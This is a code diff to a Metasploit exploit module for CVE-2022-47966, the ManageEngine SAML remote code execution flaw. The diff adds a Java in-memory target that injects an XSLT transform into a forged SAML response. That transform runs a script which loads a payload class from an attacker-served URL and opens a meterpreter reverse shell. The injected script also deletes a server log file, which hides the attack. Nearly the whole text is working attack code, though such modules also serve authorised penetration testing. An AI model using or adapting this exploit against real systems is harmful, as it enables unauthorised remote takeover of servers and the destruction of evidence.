@@ -7,6 +7,7 @@ class MetasploitModule < Msf::Exploit::Remote
7
7
8
8
include Msf ::Exploit ::Remote ::HttpClient
9
9
include Msf ::Exploit ::CmdStager
10
+ include Msf ::Exploit ::Remote ::Java ::HTTP ::ClassLoader
10
11
prepend Msf ::Exploit ::Remote ::AutoCheck
11
12
12
13
def initialize ( info = { } )
@@ -37,18 +38,25 @@ def initialize(info = {})
37
38
[ 'URL' , 'https://github.com/horizon3ai/CVE-2022-47966' ] ,
38
39
[ 'URL' , 'https://attackerkb.com/topics/gvs0Gv8BID/cve-2022-47966/rapid7-analysis' ]
39
40
] ,
40
- 'Platform' => [ 'win' ] ,
41
- 'Payload' => {
42
- 'BadChars' => "\x27 "
43
- } ,
41
+ 'Platform' => [ 'win' , 'java' ] ,
44
42
'Targets' => [
43
+ [
44
+ 'Java (in-memory)' ,
45
+ {
46
+ 'Type' => :java ,
47
+ 'Platform' => 'java' ,
48
+ 'Arch' => ARCH_JAVA ,
49
+ 'DefaultOptions' => { 'Payload' => 'java/meterpreter/reverse_tcp' }
50
+ } ,
51
+ ] ,
45
52
[
46
53
'Windows EXE Dropper' ,
47
54
{
48
55
'Platform' => 'win' ,
49
56
'Arch' => [ ARCH_X86 , ARCH_X64 ] ,
50
57
'Type' => :windows_dropper ,
51
- 'DefaultOptions' => { 'Payload' => 'windows/x64/meterpreter/reverse_tcp' }
58
+ 'DefaultOptions' => { 'Payload' => 'windows/x64/meterpreter/reverse_tcp' } ,
59
+ 'Payload' => { 'BadChars' => "\x27 " }
52
60
}
53
61
] ,
54
62
[
@@ -57,15 +65,16 @@ def initialize(info = {})
57
65
'Platform' => 'win' ,
58
66
'Arch' => ARCH_CMD ,
59
67
'Type' => :windows_command ,
60
- 'DefaultOptions' => { 'Payload' => 'cmd/windows/powershell/meterpreter/reverse_tcp' }
68
+ 'DefaultOptions' => { 'Payload' => 'cmd/windows/https/x64/meterpreter/reverse_tcp' } ,
69
+ 'Payload' => { 'BadChars' => "\x27 " }
61
70
}
62
71
]
63
72
] ,
64
73
'DefaultOptions' => {
65
- 'RPORT' => 8443 ,
66
- 'SSL' => true
74
+ 'RPORT' => 8020 ,
75
+ 'SSL' => false
67
76
} ,
68
- 'DefaultTarget' => 1 ,
77
+ 'DefaultTarget' => 0 ,
69
78
'DisclosureDate' => '2023-01-10' ,
70
79
'Notes' => {
71
80
'Stability' => [ CRASH_SAFE , ] ,
@@ -119,27 +128,85 @@ def encode_begin(real_payload, reqs)
119
128
def exploit
120
129
print_status ( "Executing #{ target . name } for #{ datastore [ 'PAYLOAD' ] } " )
121
130
case target [ 'Type' ]
131
+ when :java
132
+ # Start the HTTP server to serve the payload
133
+ start_service
134
+ # Trigger a loadClass request via java.net.URLClassLoader
135
+ trigger_urlclassloader
136
+ # Handle the payload
137
+ handler
122
138
when :windows_command
123
139
execute_command ( payload . encoded )
124
140
when :windows_dropper
125
141
execute_cmdstager ( delay : datastore [ 'DELAY' ] )
126
142
end
127
143
end
128
144
145
+ def trigger_urlclassloader
146
+ # Here we construct a XSLT transform to load a Java payload via URLClassLoader.
147
+ url = get_uri
148
+
149
+ vars = Rex ::RandomIdentifier ::Generator . new ( { language : :java } )
150
+
151
+ # stager for javascript engine
152
+ java_stager = <<~EOS
153
+ var #{ vars [ :file ] } = Java.type("java.io.File");
154
+ new #{ vars [ :file ] } ("../logs/serverout0.txt").delete();
155
+ var #{ vars [ :str_arr ] } = Java.type("java.lang.String[]");
156
+ var #{ vars [ :c ] } = new java.net.URLClassLoader([new java.net.URL("#{ url } ")]).loadClass("metasploit.Payload");
157
+ #{ vars [ :c ] } .getMethod("main", java.lang.Class.forName("[Ljava.lang.String;")).invoke(null, [new #{ vars [ :str_arr ] } (1)]);
158
+ EOS
159
+
160
+ transform = <<~EOT
161
+ <ds:Transforms>
162
+ <ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
163
+ <ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">
164
+ <xsl:stylesheet version="1.0"
165
+ xmlns:sem="http://xml.apache.org/xalan/java/javax.script.ScriptEngineManager"
166
+ xmlns:se="http://xml.apache.org/xalan/java/javax.script.ScriptEngine"
167
+ xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
168
+ <xsl:template match="/">
169
+ <xsl:variable name="#{ vars [ :engineobject ] } " select="sem:new()"/>
170
+ <xsl:variable name="#{ vars [ :jsobject ] } " select="sem:getEngineByName($#{ vars [ :engineobject ] } ,'javascript')"/>
171
+ <xsl:variable name="#{ vars [ :out ] } " select="se:eval($#{ vars [ :jsobject ] } ,'#{ java_stager } ')"/>
172
+ <xsl:value-of select="$#{ vars [ :out ] } "/>
173
+ </xsl:template>
174
+ </xsl:stylesheet>
175
+ </ds:Transform>
176
+ </ds:Transforms>
177
+ EOT
178
+ send_transform ( transform )
179
+ end
180
+
129
181
def execute_command ( cmd , _opts = { } )
130
- if target [ 'Type' ] == :windows_dropper
131
- cmd = "cmd /c #{ cmd } "
132
- end
182
+ cmd = "cmd /c #{ cmd } "
133
183
cmd = cmd . encode ( xml : :attr ) . gsub ( '"' , '' )
134
184
185
+ vars = Rex ::RandomIdentifier ::Generator . new ( { language : :java } )
186
+
187
+ transform = <<~EOT
188
+ <ds:Transforms>
189
+ <ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
190
+ <ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">
191
+ <xsl:stylesheet version="1.0"
192
+ xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object"
193
+ xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
194
+ <xsl:template match="/">
195
+ <xsl:variable name="#{ vars [ :rt_obj ] } " select="rt:getRuntime()"/>
196
+ <xsl:variable name="#{ vars [ :exec ] } " select="rt:exec($#{ vars [ :rt_obj ] } ,'#{ cmd } ')"/>
197
+ <xsl:variable name="#{ vars [ :out ] } " select="ob:toString($#{ vars [ :exec ] } )"/>
198
+ <xsl:value-of select="$#{ vars [ :out ] } "/>
199
+ </xsl:template>
200
+ </xsl:stylesheet>
201
+ </ds:Transform>
202
+ </ds:Transforms>
203
+ EOT
204
+
205
+ send_transform ( transform )
206
+ end
207
+
208
+ def send_transform ( transform )
135
209
assertion_id = "_#{ SecureRandom . uuid } "
136
- # Randomize variable names and make sure they are all different using a Set
137
- vars = Set . new
138
- loop do
139
- vars << Rex ::Text . rand_text_alpha_lower ( 5 ..8 )
140
- break unless vars . size < 3
141
- end
142
- vars = vars . to_a
143
210
saml = <<~EOS
144
211
<?xml version="1.0" encoding="UTF-8"?>
145
212
<samlp:Response
@@ -157,21 +224,7 @@ def execute_command(cmd, _opts = {})
157
224
<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
158
225
<ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/>
159
226
<ds:Reference URI="##{ assertion_id } ">
160
- <ds:Transforms>
161
- <ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
162
- <ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">
163
- <xsl:stylesheet version="1.0"
164
- xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object"
165
- xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
166
- <xsl:template match="/">
167
- <xsl:variable name="#{ vars [ 0 ] } " select="rt:getRuntime()"/>
168
- <xsl:variable name="#{ vars [ 1 ] } " select="rt:exec($#{ vars [ 0 ] } ,'#{ cmd } ')"/>
169
- <xsl:variable name="#{ vars [ 2 ] } " select="ob:toString($#{ vars [ 1 ] } )"/>
170
- <xsl:value-of select="$#{ vars [ 2 ] } "/>
171
- </xsl:template>
172
- </xsl:stylesheet>
173
- </ds:Transform>
174
- </ds:Transforms>
227
+ #{ transform }
175
228
<ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/>
176
229
<ds:DigestValue>#{ Rex ::Text . encode_base64 ( SecureRandom . random_bytes ( 32 ) ) } </ds:DigestValue>
177
230
</ds:Reference>
@@ -191,7 +244,10 @@ def execute_command(cmd, _opts = {})
191
244
}
192
245
} )
193
246
194
- unless res &.code == 200
247
+ # Java payload returns a nil response on successful execution of payload
248
+ if target [ 'Type' ] == :java && res . nil?
249
+ print_status ( 'Exploit completed.' )
250
+ elsif res &.code != 200
195
251
lines = res . get_html_document . xpath ( '//body' ) . text . lines . reject { |l | l . strip . empty? } . map ( &:strip )
196
252
unless lines . any? { |l | l . include? ( 'URL blocked as maximum access limit for the page is exceeded' ) }
197
253
elog ( "Unkown error returned:\n #{ lines . join ( "\n " ) } " )
@@ -203,4 +259,16 @@ def execute_command(cmd, _opts = {})
203
259
res
204
260
end
205
261
262
+ # handle http requests from java stagers and cmd stagers differently
263
+ def on_request_uri ( cli , request )
264
+ case target [ 'Type' ]
265
+ when :java
266
+ super ( cli , request )
267
+ else
268
+ client = cli . peerhost
269
+ print_status ( "Client #{ client } requested #{ request . uri } " )
270
+ print_status ( "Sending payload to #{ client } " )
271
+ send_response ( cli , exe )
272
+ end
273
+ end
206
274
end
0 commit comments